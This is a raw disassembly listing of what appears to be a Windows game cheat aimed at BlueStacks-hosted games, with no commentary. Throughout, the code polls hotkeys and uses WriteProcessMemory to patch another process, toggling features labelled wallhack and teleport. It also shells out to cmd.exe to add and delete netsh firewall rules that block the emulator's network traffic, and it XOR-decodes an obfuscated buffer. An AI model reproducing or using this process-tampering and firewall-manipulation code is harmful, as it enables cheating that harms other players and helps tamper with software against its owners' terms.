lea r9, str.WALLHACK_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x1bb70]
call fcn.1400487d0
lea rcx, [rbp + 0x1bb70]
call fcn.14004bce0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14061f420]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400523cd
xorps xmm0, xmm0
mov qword [rbp + 0x680], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x688], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x670]
movups xmmword [rbp + 0x670], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x670]
call fcn.14004b710
lea rcx, [rbp + 0x670]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x740], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x748], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x730]
movups xmmword [rbp + 0x730], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x730]
call fcn.14004b710
lea rcx, [rbp + 0x730]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x720], r13
mov r8d, 0x91
mov qword [rbp + 0x728], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x710]
movups xmmword [rbp + 0x710], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x710]
call fcn.14004b710
lea rcx, [rbp + 0x710]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x700], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x708], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6f0]
movups xmmword [rbp + 0x6f0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x6f0]
call fcn.14004b710
lea rcx, [rbp + 0x6f0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x6e0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x6e8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6d0]
movups xmmword [rbp + 0x6d0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x6d0]
call fcn.14004b710
lea rcx, [rbp + 0x6d0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x6c0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x6c8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6b0]
movups xmmword [rbp + 0x6b0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x6b0]
call fcn.14004b710
lea rcx, [rbp + 0x6b0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x488], r13
mov r8d, Ordinal_143
mov qword [rbp + 0x490], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x478]
movups xmmword [rbp + 0x478], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x478]
call fcn.14004b710
mov r8, qword [rbp + 0x490]
cmp r8, 0xf
jbe 0x140051fc5
mov rdx, qword [rbp + 0x478]
lea rcx, [rbp + 0x478]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x488], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_143
mov qword [rbp + 0x490], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
mov byte [rbp + 0x478], 0
lea rcx, [rbp + 0x690]
mov qword [rbp + 0x6a0], r13
movups xmmword [rbp + 0x690], xmm0
mov qword [rbp + 0x6a8], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x690]
call fcn.14004b710
lea rcx, [rbp + 0x690]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x7e0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x7e8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x7d0]
movups xmmword [rbp + 0x7d0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x7d0]
call fcn.14004b710
lea rcx, [rbp + 0x7d0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x7c0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x7c8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x7b0]
movups xmmword [rbp + 0x7b0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x7b0]
call fcn.14004b710
lea rcx, [rbp + 0x7b0]
call fcn.14002fd20
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov qword [rbp + 0x930], r13
mov r8d, 0x67
mov qword [rbp + 0x938], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x920]
movups xmmword [rbp + 0x920], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x950], r13
mov r8d, 0x66
mov qword [rbp + 0x958], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x940]
movups xmmword [rbp + 0x940], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x970], r13
mov r8d, 0x76
mov qword [rbp + 0x978], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x960]
movups xmmword [rbp + 0x960], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x990], r13
mov r8d, 0x76
mov qword [rbp + 0x998], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x980]
movups xmmword [rbp + 0x980], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x9b0], r13
movups xmmword [rbp + 0x9a0], xmm0
mov qword [rbp + 0x9b8], r13
mov r8d, 0x63
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x9a0]
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x9d0], r13
mov r8d, 0x68
mov qword [rbp + 0x9d8], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x9c0]
movups xmmword [rbp + 0x9c0], xmm0
call fcn.14002f3c0
lea rsi, [rbp + 0x920]
xorps xmm0, xmm0
lea rax, str.cmd.exe
movups xmmword [rbp + 0xaa0], xmm0
movabs rcx, 0x7fffffffffffffff
mov dword [rbp + 0xaa0], reloc.WS2_32.dll_WSASetLastError
movups xmmword [rbp + 0xab0], xmm0
mov qword [rbp + 0xab8], rax
mov rax, rcx
mov dword [rbp + 0xaa4], 0x40
movups xmmword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0xad0], xmm0
movups xmmword [rbp + 0xae0], xmm0
movups xmmword [rbp + 0xaf0], xmm0
movups xmmword [rbp + 0xb00], xmm0
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, 3
jb 0x140056e10
cmp qword [rsi + 0x18], 0xf
mov r12, rsi
jbe 0x140052282
mov r12, qword [rsi]
lea r14, [r15 + 3]
mov qword [rbp + 0x4e8], r13
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x4f0], r13
lea rdi, [rbp + 0x4d8]
movups xmmword [rbp + 0x4d8], xmm0
cmp r14, rbx
jbe 0x1400522dd
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400522bd
mov rbx, rcx
jmp 0x1400522ca
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140047280
mov rdi, rax
mov qword [rbp + 0x4d8], rax
mov ecx, dword [0x14018fc50]
mov r8, r15
mov qword [rbp + 0x4e8], r14
mov rdx, r12
mov qword [rbp + 0x4f0], rbx
mov word [rdi], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 2], cl
lea rcx, [rdi + 3]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rax, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0xf
lea rcx, [rbp + 0x4d8]
cmova rax, qword [rbp + 0x4d8]
mov qword [rbp + 0xac0], rax
call fcn.14002fd20
lea rcx, [rbp + 0xaa0]
mov dword [rbp + 0xad0], r13d
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140052373
mov rcx, qword [rbp + 0xb08]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xb08]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 0x20
lea rax, [rbp + 0x9e0]
cmp rsi, rax
jne 0x140052201
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.14002fd20]
lea rcx, [rbp + 0x920]
lea r8d, [rdx - 0x1a]
call fcn.140121f48
movabs r12, 0x7fffffffffffffff
mov r14, qword [0x14061f8d0]
mov rax, r12
sub rax, r14
cmp rax, 0xa
jb 0x140056e10
cmp qword [0x14061f8d8], 0xf
lea r15, [0x14061f8c0]
lea rsi, [r14 + 0xa]
mov qword [rbp + 0x3c8], r13
cmova r15, qword [0x14061f8c0]
lea rdi, [rbp + 0x3b8]
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x3d0], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
cmp rsi, rbx
jbe 0x140052459
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x140052439
mov rbx, r12
jmp 0x140052446
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140047280
mov rdi, rax
mov qword [rbp + 0x3b8], rax
movsd xmm0, qword [str.Username:]
mov r8, r14
mov qword [rbp + 0x3c8], rsi
mov rdx, r15
mov qword [rbp + 0x3d0], rbx
movsd qword [rdi], xmm0
movzx ecx, word [0x140191148]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x3b8]
cmp qword [rbp + 0x3d0], 0xf
lea rdx, [rbp + 0x5e0]
mov rbx, qword [rbp + 0x3c8]
mov edi, 0xa
cmova rcx, qword [rbp + 0x3b8]
xorps xmm0, xmm0
movzx eax, word [0x140191148]
cmp rdi, rbx
movups xmmword [rbp + 0x5e0], xmm0
mov r8, rbx
mov qword [rbp + 0x5f0], rdi
movsd xmm0, qword [str.Username:]
cmovb r8, rdi
mov qword [rbp + 0x5f8], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x5e0], xmm0
mov word [rbp + 0x5e8], ax
mov byte [rbp + 0x5ea], 0
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005251a
cmp rbx, rdi
jb 0x14005251a
jbe 0x140056d39
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x14061f60c]
movzx edx, ax
shr edx, 0xf
and dl, 1
cmp ecx, 1
jne 0x140052636
test bl, bl
je 0x1400527a0
cmp byte [0x14061f3f3], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 2
jne 0x140052668
test dil, dil
je 0x1400527a0
cmp byte [0x14061f3f4], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 3
jne 0x14005269a
test sil, sil
je 0x1400527a0
cmp byte [0x14061f3f5], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 4
jne 0x1400526cc
test r14b, r14b
je 0x1400527a0
cmp byte [0x14061f3f6], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 5
jne 0x1400526fe
test r15b, r15b
je 0x1400527a0
cmp byte [0x14061f3f7], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 6
jne 0x14005272d
test r12b, r12b
je 0x1400527a0
cmp byte [0x14061f3f8], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 7
jne 0x140052754
test r13b, r13b
je 0x1400527a0
cmp byte [0x14061f3f9], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 8
jne 0x14005277a
mov eax, dword [rsp + 0x64]
test al, al
je 0x1400527a4
cmp byte [0x14061f3fa], 0
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
cmp ecx, 9
jne 0x1400527a0
test dl, dl
je 0x1400527a0
cmp byte [0x14061f3fb], 0
mov eax, dword [rsp + 0x64]
jne 0x1400527a4
cmp byte [0x14061f3e9], 0
sete byte [0x14061f3e9]
jmp 0x1400527a4
mov eax, dword [rsp + 0x64]
mov byte [0x14061f3f3], bl
mov byte [0x14061f3f4], dil
mov byte [0x14061f3f5], sil
mov byte [0x14061f3f6], r14b
mov byte [0x14061f3f7], r15b
mov byte [0x14061f3f8], r12b
mov byte [0x14061f3f9], r13b
mov byte [0x14061f3fa], al
mov byte [0x14061f3fb], dl
call fcn.14000e3d0
xor r14d, r14d
lea rcx, [rbp + 0x228]
xor edx, edx
mov r13, rax
mov dword [rax + 0x10], 0x41200000
mov dword [rax + 0x2c], 0x41200000
mov dword [rax + 8], r14d
mov dword [rax + 0xc], 0x41f00000
mov dword [rax + 0x14], r14d
mov dword [rax + 0x44], 0x40800000
mov qword [rax + 0x4c], r14
mov dword [rax + 0x74], 0x40c00000
mov qword [rax + 0x34], 0x41000000
mov dword [rbp + 0x228], 0x44480000
mov dword [rbp + 0x22c], 0x44020000
call fcn.14001b000
mov r15d, dword [0x14061fd20]
mov r12, qword gs:[0x58]
mov ecx, 0x144
mov edx, ecx
mov r8d, 0x138
mov rax, qword [r12 + r15*8]
mov ebx, r8d
mov ecx, dword [rcx + rax]
test cl, 1
jne 0x14005289b
or ecx, 1
mov dword [rax + r8 + 6], 0x1e5f999
mov dword [rdx + rax], ecx
lea rcx, [0x140126770]
mov dword [rax + r8], 0x4b1fbca6
mov word [rax + r8 + 4], 0xa940
call fcn.1401226c4
mov rcx, qword [r12 + r15*8]
add rcx, rbx
cmp byte [rcx + 9], r14b
je 0x1400528cf
xor byte [rcx], 0xe5
xor byte [rcx + 1], 0xdd
xor byte [rcx + 2], 0x6d
xor byte [rcx + 3], 0x3f
xor byte [rcx + 4], 0x25
xor byte [rcx + 5], 0xc5
xor byte [rcx + 6], 0xb9
xor byte [rcx + 7], 0xa1
xor byte [rcx + 8], 0xe5
mov byte [rcx + 9], r14b
xor edx, edx
mov r8d, 0x20bb
call fcn.140004dd0
lea rcx, [rbp + 0x238]
call fcn.14000e680
lea rcx, [rbp + 0x230]
call fcn.14000e6a0
lea rcx, [rbp + 0xc10]
call fcn.14000d840
call fcn.14000d910
cvttss2si ecx, dword [0x1405e8e38]
mov rbx, rax
mov dword [rbp + 0x5b0], r14d
mov dword [rbp + 0x5b4], 0x3f800000
mov dword [rbp + 0x5b8], 0x3f800000
movd xmm0, ecx
lea rcx, [rbp + 0x5b0]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm15
movss dword [rbp + 0x5bc], xmm0
call fcn.140009f70
movss xmm3, dword [rbp + 0x238]
lea r8, [rbp + 0x240]
movss xmm2, dword [rbp + 0x23c]
lea rdx, [rbp + 0x248]
movss xmm0, dword [rbp + 0x230]
mov r9d, eax
movss xmm1, dword [rbp + 0x234]
addss xmm0, xmm3
addss xmm1, xmm2
movss dword [rsp + 0x30], xmm10
subss xmm3, xmm8
mov dword [rsp + 0x28], r14d
subss xmm2, xmm8
movss dword [rsp + 0x20], xmm10
mov rcx, rbx
addss xmm0, xmm8
addss xmm1, xmm8
movss dword [rbp + 0x248], xmm3
movss dword [rbp + 0x24c], xmm2
movss dword [rbp + 0x240], xmm0
movss dword [rbp + 0x244], xmm1
call fcn.140023bf0
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140052bda
mov rax, qword [0x14061f5f8]
mov esi, r14d
mov rdx, qword [0x14061f5f0]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f51b], r14b
je 0x140052af3
mov byte [0x14061f51b], r14b
mov dword [rbp - 0x48], 0xea000000
mov dword [rbp - 0x44], 0xbf800000
mov dword [rbp - 0x40], 0xee408a85
mov dword [rbp - 0x3c], 0xee409a87
test rax, rax
je 0x140052a7e
mov rdi, r14
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x48]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f5f8]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f5f0]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052a37
lea r9, str.WALLHACK_V2_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x1aa0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052ad3
mov r8d, 0x2010
lea rdx, [rbp + 0x1aa0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
mov ecx, 0x320
jmp 0x140052bcf
lea r8, [rbp + 0x1aa0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x320
jmp 0x140052bcf
mov byte [0x14061f51b], 1
mov dword [rbp - 0x38], 0xea000000
mov dword [rbp - 0x34], 0x358637bd
mov dword [rbp - 0x30], 0xee238a85
mov dword [rbp - 0x2c], 0xee229a87
test rax, rax
je 0x140052b67
mov rdi, r14
nop
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x38]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f5f8]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f5f0]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052b20
lea r9, str.WALLHACK_V2_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x3ab0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052bb4
mov r8d, 0x2010
lea rdx, [rbp + 0x3ab0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
jmp 0x140052bca
lea r8, [rbp + 0x3ab0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140052e1a
mov rax, qword [0x14061f718]
mov esi, r14d
mov rdx, qword [0x14061f710]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f51a], r14b
je 0x140052cef
mov byte [0x14061f51a], r14b
mov dword [rsp + 0x70], 0xbeac8b44
mov dword [rsp + 0x74], 0xbf1e76c9
test rax, rax
je 0x140052c7a
mov rdi, r14
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f718]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f710]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052c32
lea r9, str.WALLHACK_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x5ac0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052ccf
mov r8d, 0x2010
lea rdx, [rbp + 0x5ac0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
mov ecx, 0x320
jmp 0x140052e0f
lea r8, [rbp + 0x5ac0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x320
jmp 0x140052e0f
mov byte [0x14061f51a], 1
mov dword [rbp - 8], 0x3f8147ae
mov dword [rbp - 4], 0x3f8147ae
mov dword [rbp], 0x3f8147ae
mov dword [rbp + 4], 0x3f8147ae
mov dword [rbp + 8], 0xeeb71a00
mov dword [rbp + 0xc], 0xed9f3adc
mov dword [rbp + 0x10], 0xe24f0030
mov dword [rbp + 0x14], 0xeeb02a43
mov dword [rbp + 0x18], 0xf4600aef
mov dword [rbp + 0x1c], 0xeef06a43
mov dword [rbp + 0x20], 0xe28a001c
mov dword [rbp + 0x24], 0xeef05a43
mov word [rbp + 0x28], 0xa8f
test rax, rax
je 0x140052da7
mov rdi, r14
nop dword [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], r14
lea r8, [rbp - 8]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f718]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f710]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052d60
lea r9, str.WALLHACK_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x7ad0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052df4
mov r8d, 0x2010
lea rdx, [rbp + 0x7ad0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
jmp 0x140052e0a
lea r8, [rbp + 0x7ad0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140053021
mov rax, qword [0x14061f670]
mov esi, r14d
mov rdx, qword [0x14061f668]
sub rax, rdx
sar rax, 3
cmp byte [0x14061f4b0], r14b
je 0x140052f3c
mov byte [0x14061f4b0], r14b
mov dword [rbp - 0x28], 0xc47a0000
mov dword [rbp - 0x24], 0x43f3f3f
mov dword [rbp - 0x20], 0xe92d4ff0
mov dword [rbp - 0x1c], 0xe28db01c
test rax, rax
je 0x140052ec7
mov rdi, r14
nop
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x28]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f670]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f668]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052e80
lea r9, str.Teleport_Amazon_Enable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x9ae0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052f1c
mov r8d, 0x2010
lea rdx, [rbp + 0x9ae0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
mov ecx, 0x320
jmp 0x140053016
lea r8, [rbp + 0x9ae0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x320
jmp 0x140053016
mov byte [0x14061f4b0], 1
mov dword [rbp - 0x18], 0x447a0000
mov dword [rbp - 0x14], 0x43f3f3f
mov dword [rbp - 0x10], 0xe92d4ff0
mov dword [rbp - 0xc], 0xe28db01c
test rax, rax
je 0x140052fae
mov rdi, r14
mov rbx, qword [rdi + rdx]
call fcn.1400575e0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x18]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x14061f670]
lea rdi, [rdi + 8]
mov rdx, qword [0x14061f668]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052f67
lea r9, str.Teleport_Amazon_Disable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xbaf0]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140052ffb
mov r8d, 0x2010
lea rdx, [rbp + 0xbaf0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
jmp 0x140053011
lea r8, [rbp + 0xbaf0]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, reloc.WS2_32.dll_WSACleanup
